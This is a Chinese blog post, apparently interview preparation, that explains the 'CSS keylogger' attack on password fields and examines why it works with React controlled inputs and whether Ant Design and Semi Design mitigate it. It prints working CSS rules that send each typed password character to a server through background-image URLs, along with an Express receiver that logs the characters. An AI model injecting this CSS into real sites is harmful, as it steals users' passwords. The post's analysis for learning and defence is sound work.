前端安全:别再只背 XSS、CSRF 了,快来跟面试官聊聊这个密码安全问题!😎

扯皮

关于前端安全如果作为一个校招生的话一定会想到 XSS、CSRF 这两个问题,很经典的八股文,甚至现在的面试官都不再问前端安全而是直接就让谈谈 XSS、CSRF😯...

但是以现在的前端环境来讲,只背千篇一律的问题很难突显自己的优势。当大伙都能够把问题回答上来时那拿到的都是及格分,怎么拿到优秀分呢?就是回答一些不常见或者有技术深度的答案😕

首先先扯一下本文要探讨问题的出处以及探索过程,一开始是来自于牛客两位25届佬的大厂面经:

www.nowcoder.com/feed/main/d...

www.nowcoder.com/discuss/604...

这里提到了两个内容:Canvas 指纹追踪 和 CSS 键盘安全问题,当我第一时间看到这两个点时还真有点印象,好像是在b站上看到某个视频专门谈到过这两个问题🤔

于是乎我立即去b站进行地毯式搜索,后来发现并不是视频,而是来自 小满zs 发的两个专栏文章,时间比较早了,当时看到有印象是因为觉得这两点都挺偏的,但那时候的我还是个菜鸡(虽然现在也是...)沉迷于 Vue,Canvas 和 React 了解的都不多,所以只是对这两个问题有点印象,没有深入研究:

专栏地址:

www.bilibili.com/read/cv1634...

www.bilibili.com/read/cv1632...

本文只研究第一个 CSS 键盘安全问题,回顾了下专栏文章内容发现只是介绍了这个问题,并没有讲解防范措施,包括下面的评论提出的问题也是我有疑问的地方🤨

所以就去掘金上搜索相关文章看看,确实找到了两篇,但是时间比较久远了都是几年前的文章,而且好像也没有介绍具体的防范措施:

CSS攻击:记录用户密码 - 掘金 (juejin.cn)

使用 CSS 获取用户密码 - 掘金 (juejin.cn)

不过文章里提到了一个开源项目,该项目就是以插件的形式注入 CSS 进行窃取用户密码,看了上面几篇文章基本上都是针对于该开源项目写的内容,可以了解一下👇:

maxchehab/CSS-Keylogging: Chrome extension and Express server that exploits keylogging abilities of CSS. (github.com)

想了想虽然有不少文章介绍但是已经是几年前的东西了,自己还是专门写一篇文章来记录下这个问题,虽然现在已经没有面试摆烂了😑,但对于以后说不定还会有点用处

正文

问题描述

虽然上面已经给出了几篇文章链接介绍该问题,但为了保证本篇文章的完整性还是自己重新介绍一下🤪,当然如果已经看过上面几篇的描述这一小节可以跳过

这里涉及到两个知识点: CSS 的属性选择器background-image 属性获取网络图片

首先来看 CSS 的属性选择器,可能在日常开发中用的比较少,但是有些业务需求还是会用到的,它有两种比较常见的使用方式:

css 复制代码
/* 方式一:选中 div 标签且含有属性 abc 的元素 */
div[abc] {
  width: 100px;
  height: 200px;
  background: blue;
}

/* 方式二:选中 div 标签且属性 id 值为 'test' 的元素 */
div[id="test"] {
  width: 100px;
  height: 200px;
  background: red;
}                                                    

它的权重并不高,比如上面两种方式的权重都为标签选择器 + 属性选择器:

效果就和下面的标签选择器 + 类选择器一样,类选择器和属性选择器权重相等:

css 复制代码
div.abc {
  width: 100px;
  height: 200px;
}

我们较为熟悉的 Vue 框架实现 style scoped 隔离的效果就是利用属性选择器的第一种方式,针对于 style scoped 中的内容经过编译后生成一个唯一 hash 值作为属性选择器,实现隔离其他样式的效果:

至于 background-image 没什么好介绍的,通过设置 url 能够发送网络请求来获取图片:

css 复制代码
div.abc {
  width: 100px;
  height: 200px;
  /* xxx 图片资源地址 */
  background-image: url("xxx");
}

回归正题,我们研究的主题是关于输入框密码输入的问题,它的关键在于利用属性选择器找到 type 为 password 的 input 标签,同时再枚举出用户输入的所有字符设置对应的样式

因为问题出现在 React 框架中,为了方便后续内容展开就先来看 React 里的效果

首先我们需要一个 input 受控组件,注意必须要求为受控:

jsx 复制代码
import { useState } from "react";
import "./App.css";

function App() {
  const [value, setValue] = useState("");
  return (
    <div>
      <input value={value} onChange={(e) => setValue(e.target.value)} />
    </div>
  );
}
export default App;

其次关键在于设置 input 的样式:

css 复制代码
input[value$="a"] {
  background-color: red;
}
input[value$="b"] {
  background-color: blue;
}
input[value$="c"] {
  background-color: green;
}
input[value$="d"] {
  background-color: skyblue;
}

它的视图效果是这样的:

这里可能会有疑问与常见的属性选择器不同多出来了一个 $ 🤔,直接查阅 MDN 文档解释:

属性选择器 - 学习 Web 开发 | MDN (mozilla.org)

其中有一小节介绍子字符串匹配选择器,确实不太常用,但是一看文档就知道什么意思,示例也十分清楚:

这种实现方式还是挺赞的👍,相当于无需 JS 根据 value 值再操作 DOM 修改样式,只需要 CSS 就能完成这个操作😎

但避免不了一些大聪明想要走些歪路🤨,现在我们回到安全问题上,一般谈到前端安全无非就是窃取关键信息,比如我们常说的 cookie 等身份凭证,拿到该凭证就能够去窃取用户的个人信息

而与表单相关的私密信息就是密码了,想要窃取用户输入的密码需要做两件事:

  1. 确定用户输入的字符
  2. 保存用户输入的字符

第一步通过上面的属性选择器已经能够做到了,那如何保存呢?就需要用到 background-image,我们知道通过 url 可以直接发送网络请求获取图片,但假如这里的请求地址不是一个图片资源而是一个接口呢?🤨 所以就有了枚举用户字符的属性选择器,再设置 background-image 访问接口传入对应的字符:

这里考虑到文章篇幅问题只枚举了小写字母字符,全部字符枚举可以看之前介绍的几篇文章

css 复制代码
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }
input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); }
input[type="password"][value$="c"] { background-image: url("http://localhost:3000/c"); }
input[type="password"][value$="d"] { background-image: url("http://localhost:3000/d"); }
input[type="password"][value$="e"] { background-image: url("http://localhost:3000/e"); }
input[type="password"][value$="f"] { background-image: url("http://localhost:3000/f"); }
input[type="password"][value$="g"] { background-image: url("http://localhost:3000/g"); }
input[type="password"][value$="h"] { background-image: url("http://localhost:3000/h"); }
input[type="password"][value$="i"] { background-image: url("http://localhost:3000/i"); }
input[type="password"][value$="j"] { background-image: url("http://localhost:3000/j"); }
input[type="password"][value$="k"] { background-image: url("http://localhost:3000/k"); }
input[type="password"][value$="l"] { background-image: url("http://localhost:3000/l"); }
input[type="password"][value$="m"] { background-image: url("http://localhost:3000/m"); }
input[type="password"][value$="n"] { background-image: url("http://localhost:3000/n"); }
input[type="password"][value$="o"] { background-image: url("http://localhost:3000/o"); }
input[type="password"][value$="p"] { background-image: url("http://localhost:3000/p"); }
input[type="password"][value$="q"] { background-image: url("http://localhost:3000/q"); }
input[type="password"][value$="r"] { background-image: url("http://localhost:3000/r"); }
input[type="password"][value$="s"] { background-image: url("http://localhost:3000/s"); }
input[type="password"][value$="t"] { background-image: url("http://localhost:3000/t"); }
input[type="password"][value$="u"] { background-image: url("http://localhost:3000/u"); }
input[type="password"][value$="v"] { background-image: url("http://localhost:3000/v"); }
input[type="password"][value$="w"] { background-image: url("http://localhost:3000/w"); }
input[type="password"][value$="x"] { background-image: url("http://localhost:3000/x"); }
input[type="password"][value$="y"] { background-image: url("http://localhost:3000/y"); }
input[type="password"][value$="z"] { background-image: url("http://localhost:3000/z"); }

之后我们再随便跑一个后端服务器接收这里的字符,方便起见直接用 express 写个接口完事:

js 复制代码
const express = require("express");
const app = express();

app.get("/:key", (req, res) => {
  process.stdout.write(req.params.key);
  return res.sendStatus(400);
});

app.listen(3000, () => {
  console.log("server start");
});

这也是最开始提到的一个开源项目源代码,就是以插件的形式来注入这段 CSS 代码,之后跑一个后端服务来接收用户输入的密码,我们来看视图效果:

来看前端输入效果:

后端接口效果,注意观察下方终端输出内容:

通过这两个步骤就能实现窃取前端用户输入的密码,只能说想出这种方式人我是真的佩服😆

该方式的局限性

结合一些文章评论和该项目的 issues 可以发现该方式还是有一些局限性的,目前我总结出的共有四个问题,我们一点一点来解释:

  1. 用户输入过快和网络延迟造成接口接收密码字符顺序出错
  2. 用户选择复制粘贴密码,只有最后一个字符发送请求
  3. 浏览器本身缓存机制问题,针对于重复字符不会发送请求
  4. 要求必须是类 React 框架的受控组件机制

首先来讲第一条,因为浏览器针对于网速的调试只限制了请求返回结果的速度,没有限制请求发出的速度,所以发送时还是按照正常的顺序来发送,所以这种情景我没有模拟出来

但真实环境网络较差的情况下应该是无法保证输入的顺序和请求发送到服务器的顺序是一致的,不过我认为站在攻击者的角度来讲这个问题无伤大雅😇

第二条站在用户的角度,比如我自己前些年游戏账号比较多且密码还都设置的不一样,所以喜欢在电脑上搞个记事本每次输入时直接打开复制粘贴,这个操作就完美避开了这个问题。更何况近些年的一些 web 应用很多都提供了扫码登录,让用户手动输入密码的机会比前些年少很多🤐

第三条直接上演示效果,针对于重复字符是不会发送请求的,即使我在浏览器调试中禁用缓存也是一样,应该是浏览器底层做了限制:

但还是那句话,与正常开发者不同,作为攻击者我不需要自己的程序那么完美,都是无伤大雅😇,能窃取到一个用户就是成功的,比如像作者本人设置密码的习惯都是没有重复的字符,还真有可能上套了🤣

最后一条也是我一开始就有疑问的:该窃取方法被限制在类 React 框架中使用,在一开始介绍的几篇文章以及该项目的 README 中都有提到:

之前的三条限制其实问题都不大,只有这一条就直接限制了使用框架且必须要求表单受控,我们单独抽离到一个小节来研究这个问题🧐

为什么必须用类 React 框架

我们先简单来看一下原生中的匹配效果:

html 复制代码
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <style>
      input[value$="a"] {
        background-color: red;
      }
      input[value$="b"] {
        background-color: blue;
      }
      input[value$="c"] {
        background-color: green;
      }
      input[value$="d"] {
        background-color: skyblue;
      }
    </style>
  </head>
  
  <body>
    <input />
  </body>
</html>

直接使用原生标签且不做任何处理是无法生效的,毫无疑问肯定是属性选择器没有匹配到,当我们在视图上输入 input 时并没有同步修改对应的标签上的 value 属性

但如果你通过 DOM 来获取对应的 value 属性会发现它也有更改:

这里就又有一个很经典的八股文:HTML Attributes 与 DOM Properties 的区别 ,当然这里我们不着重研究这个问题,只来简单说说这个现象和结论

一般情况下我们所说的 HTML Attributes 是指在 HTML 标签上添加的属性,它通常代表着该 DOM 对应属性的初始值

拿 input 标签来说,如果在 HTML 里的 input 标签上设置一个 value 属性,那它就是该输入框的初始值,会发现这时候的样式也生效了:

html 复制代码
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <style>
      input[value$="a"] {
        background-color: red;
      }
      input[value$="b"] {
        background-color: blue;
      }
      input[value$="c"] {
        background-color: green;
      }
      input[value$="d"] {
        background-color: skyblue;
      }
    </style>
  </head>
  <body>
    <!-- key: 注意 value 属性 -->
    <input id="input" value="abc" />
  </body>
</html>

而 DOM Properties 指的是浏览器解析 HTML 标签创建对应 DOM 对象后设置的属性,比如我们可以获取 input DOM,访问它的 value 属性,可以发现也能够拿到对应的 "abc" 值

当我们在视图上输入时并没有修改 HTML Attributes 而是修改的 DOM Properties,这也就解释了上面 gif 的这个现象

所以可以得出一个一般性结论:HTML Attributes 的作用是设置与之对应的 DOM Properties 的初始值

而之前的 CSS 属性选择器很明显匹配的是 HTML Attributes 而非 DOM Properties,所以如果想要样式生效的话你需要这样做:

html 复制代码
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <style>
      input[value$="a"] {
        background-color: red;
      }
      input[value$="b"] {
        background-color: blue;
      }
      input[value$="c"] {
        background-color: green;
      }
      input[value$="d"] {
        background-color: skyblue;
      }
    </style>
  </head>
  <body>
    <input id="input" />

    <script>
      const oInput = document.querySelector("#input");
      // 动态设置 input value Attribute
      oInput.addEventListener("input", (e) => {
        oInput.setAttribute("value", e.target.value);
      });
    </script>
  </body>
</html>

到此为止我还没有去扒 React 源码就已经能猜出来了,很显然 React 进行状态更新时肯定不是直接修改的 value,不然也不会有这个问题 🤣

先不说 React,先来解决一下小满专栏里评论区提的这个问题,也是我一开始就有疑问的地方:

根据上面的研究可以发现应该我们去查看关于虚拟 DOM 属性更新的源码,瞅一眼 Vue3 是怎么设置属性的

直接定位到源码部分:packages/runtime-dom/src/patchProp.ts,找到 patchProp 方法,这里我做了精简,只需要关注这里的 if-else 逻辑:

简单描述一下这个过程,由于部分 DOM Properties 与 HTML Attributes 是存在对应关系的,但并不是全部。因此 Vue 采取的策略:如果该 DOM 对象上存在该 Property,则直接通过赋值的方式设置 DOM Property(patchDOMProp),而如果对象上不存在则使用 dom.setAttribute 进行设置(patchAttr)

除此之外还有一些特殊元素只能通过 setAttribute 进行设置,这里的内容都在 shouldSetAsProp 方法中了,感兴趣的可以自行查阅源码部分,包括 Vue 设计与实现这本书中也对该部分进行了介绍,这里不再扩展

因此看下面这个案例,让 input 表单受控,但是它的值怎么改变都不会影响 input attribute:

所以要想让我们之前的样式生效就需要在 watch 中再手动 setAttribute:

那我们回到 React,再来看看这样的例子就明白了:

那 React 源码中到底是怎么做的呢?我们来一探究竟,敲了这么多 JSX 还是头一次去扒 React 源码,想想都还有点激动🥰🥰🥰

因为我对 React 的源码不太熟悉只是有简单看过相关的架构文章,所以就不费事一点一点去扒了,直接去定位到属性更新的部分

我们知道 React 是在 commit 阶段来决定真实 DOM 的更新、添加、删除,而这一部分的源码是在 reconcile 调和中,所以就来看看 react-reconciler 包,找到 ReactFiberCommitWork 文件,简单浏览了一下就找到了关键词:

简单浏览了一下上下文,应该是它不会错了🧐

全局搜索 commitUpdate 函数可以发现有多个,应该是考虑多环境的问题,而我们想要的答案应该是这个

看来也没几行,根据注释来看主要是在 updateProperties 实现的 diff 更新:

updateProperties 中的源码就比较长了,枚举了常见的 html 标签进行处理,我们重点关注关于 input 标签的处理,而针对于 input 标签的 value 属性处理都被跳过了,放到了下面的 updateInput 函数中:

重点关注该逻辑:

这里的一个 flag 变量是这样描述的:

js 复制代码
// Prevent the value and checked attributes from syncing with their related
// DOM properties
export const disableInputAttributeSyncing = false;

所以按照分支走 else 逻辑,当 value 不为 null 时会调用 setDefaultValue 方法进行设置:

应该是考虑到 input number 的某个 bug 进行处理,但我们研究的问题不是这个,而是下面针对于该 DOM 节点直接对其 defaultValue 进行赋值,破案了!🧐

defaultValue 这个 DOM Property 又有什么特点?直接说结论,它与 Input 标签的 Attribute value 存在关联关系,之前我们是通过 getAttribute、setAttribute 来操作 HTML Attribute Value,现在也可以直接通过 DOM.defaultValue 来操作,直接来看下面的例子就明白了:

综上所述,React 针对于 input 的 value 更新都会一并更新对应的 HTML Attribute Value,检查元素时也会发现,因此才会有我们本文所介绍的这个漏洞:

常见组件库是否有进行处理

既然 React 本身有这个漏洞,而 input 标签又是业务当中的常客,所以自然而然会想到常见的组件库是否考虑到这个问题,比如像 Ant Design 和 Semi Design

在开头的面经中收心檬佬有提到 antd 源码中有解决这个问题,我们瞅一眼看看🧐

因为这个问题主要针对于密码 Input 的窃取,因此从它提供的普通 Input 组件来看并没有进行处理(观察右侧 input value 属性变化):

而如果我们使用 Input.Password 或者设置 Input 的 type 为 password 就不一样了:

观察可以发现每当进行输入时 input 标签同样进行了更新,但是并没有设置 value 属性,很显然是 antd 做了限制,找到对应的组件直接去扒源码看看🧐

一眼就看到答案了,应该就是这个 hook 帮我们移除了 value 属性:

但这样就有用了吗?🤔并没有用,因为我发现之前即使有手动移除 value 属性,但引入的 CSS 属性选择器依然会生效,注意看下面发送的网络请求:

起初我还以为是我编写问题,我又尝试去延迟加载 css 文件来模拟出 css 注入的效果:

但结果还是一样🤔,猜测应该是事件循环的问题,毕竟使用了 settimeout 来移除 attribute,但 antd 团队应该不会犯这个错误🤔 我开始思考这个 hook 可能不是解决这个问题的,因此就去 github commit 中寻找答案:

fix(Input): should not have value prop on input after click toggle icon by linxianxi · Pull Request #37900 · ant-design/ant-design (github.com)

果然不是,我又去搜索了下 issues 和 pr,应该是没有人提这个问题,看来是还没有解决...🤫

至于 Semi Design,源码我都不需要扒了,直接看文档的例子就有这个问题🤣:

所以这个问题真就没有解决吗🤔?我又回头去看了一开始提到的项目的 issues,发现了一篇外文有专门讨论这个问题,看完这篇之后相信你就会有答案了 👇:

CSS 键盘记录器(以及为什么你不应该担心它) -- Bram.us --- CSS Keylogger (and why you shouldn't worry about it) -- Bram.us

实际上跟我文章当中提到的几个点一样,文章又补充了几条,算是涨知识了😏

End

写这篇文章时自己也查阅了很多资料,确实这个问题比较久远且需要不断尝试,很多内容都是边写边实践,包括最后的这篇外文总结的很好,但却是我快写完这篇文章的时候才发现...😑 也懒得在文章中补充了

唯一有一点缺陷就是关于 antd 这块的处理与一开始的面经描述有出入,我这边通过实践确实没有解决该问题,自己也没有和其他同学交流过,也可能是我没有注意到,所以评论区如果有感兴趣的朋友可以尝试实践纠正一下本文的错误🙇‍

但这个问题还是挺有意思的,算是一个自己的思考吧,与面试官 battle 的时候确实可以展开聊聊,谈谈这些独特问题的想法,即便会有些小错误但个人觉得也要比死板的背八股文好太多

相关推荐
J老熊27 分钟前
Spring Cloud Netflix Eureka 注册中心讲解和案例示范
java·后端·spring·spring cloud·面试·eureka·系统架构
我爱学Python!33 分钟前
面试问我LLM中的RAG,秒过!!!
人工智能·面试·llm·prompt·ai大模型·rag·大模型应用
OLDERHARD1 小时前
Java - LeetCode面试经典150题 - 矩阵 (四)
java·leetcode·面试
寻找09之夏1 小时前
【Vue3实战】:用导航守卫拦截未保存的编辑,提升用户体验
前端·vue.js
银氨溶液2 小时前
MySql数据引擎InnoDB引起的锁问题
数据库·mysql·面试·求职
多多米10052 小时前
初学Vue(2)
前端·javascript·vue.js
柏箱2 小时前
PHP基本语法总结
开发语言·前端·html·php
新缸中之脑2 小时前
Llama 3.2 安卓手机安装教程
前端·人工智能·算法
hmz8562 小时前
最新网课搜题答案查询小程序源码/题库多接口微信小程序源码+自带流量主
前端·微信小程序·小程序
看到请催我学习2 小时前
内存缓存和硬盘缓存
开发语言·前端·javascript·vue.js·缓存·ecmascript